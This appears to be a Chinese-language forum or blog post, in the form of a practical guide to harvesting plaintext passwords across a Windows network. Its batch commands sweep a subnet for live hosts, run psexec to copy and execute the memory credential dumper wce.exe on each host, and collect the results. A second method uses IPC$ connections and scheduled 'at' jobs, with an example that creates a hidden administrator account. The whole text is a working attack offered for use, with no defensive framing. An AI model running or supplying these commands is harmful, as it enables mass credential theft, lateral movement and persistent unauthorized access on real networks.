当前环境:知道网内多个主机的默认密码(管理员),每台主机会有不同用户登录进来,现在想读取登录到主机其他用户的密码,但主机太多不想一个一个登录进去读密码。
1.psexec
解决办法如下:(批量链接抓取内存中的明文密码)
首先应用场景:多台windows主机使用同一密码的情况(例如网内如果用了虚拟化产品)
for /l %%i in (1,1,253) do echo 192.168.1.%%i >>ip.txt (按网段生成ip列表,现在的环境254为网关,所以地址到253止) for /f %%i in (ip.txt) do ping -n 1 -w 10 %%i | find /i "ttl" >nul && echo %%i >>ok.txt (判断存活主机,同网段内一般是不禁ping的)
del ip.txt for /f %%i in (ok.txt) do psexec \\%%i -u 用户名 -p 密码 -c wce.exe -w -o %%i.txt && move /y \\%%i\admin$\system32\%%i.txt .\ip\
(从存活的主机列表里逐个按已知帐号密码尝试远程执行命令,psexec -c参数是复制并执行wce.exe,执行完会自动删除wce.exe,-w读取明文帐号密码 -o保存到以ip命名的文件,然后将文件剪切到本地)
del ok.txt cd ip for %i in (*) do for /f %j in (%i) do echo %j >>ok.txt(将多个文件合并) for /f %i in (ok.txt) do findstr "%i" "result.txt" >nul || echo %i >>result.txt(去重)
tips:
psexec: 是在指定的一台或多台计算机上运行应用程序
wce.exe:从内存当中获取明文的工具
还要另外一种不用psexec工具的方法
2.IPC
写个bat
循环读取txt中的主机
ipc连接过去
复制读密码的工具和一个运行工具的bat过去
创建和运行计划任务或者使用at命令
等待2秒
复制结果文件回来
删除目标上面的文件
断开连接
例子(用于添加用户)
net use //1.1.1.1/c$ "用户名" /user:"密码" echo net user fuckuser Passw0rd! /add >c:\1.bat & net localgroup administrators fuckuser /add >> c:\1.bat copy 1.bat \\1.1.1.1\c$\ net time \\1.1.1.1 at \\1.1.1.1 11:30 c:\1.bat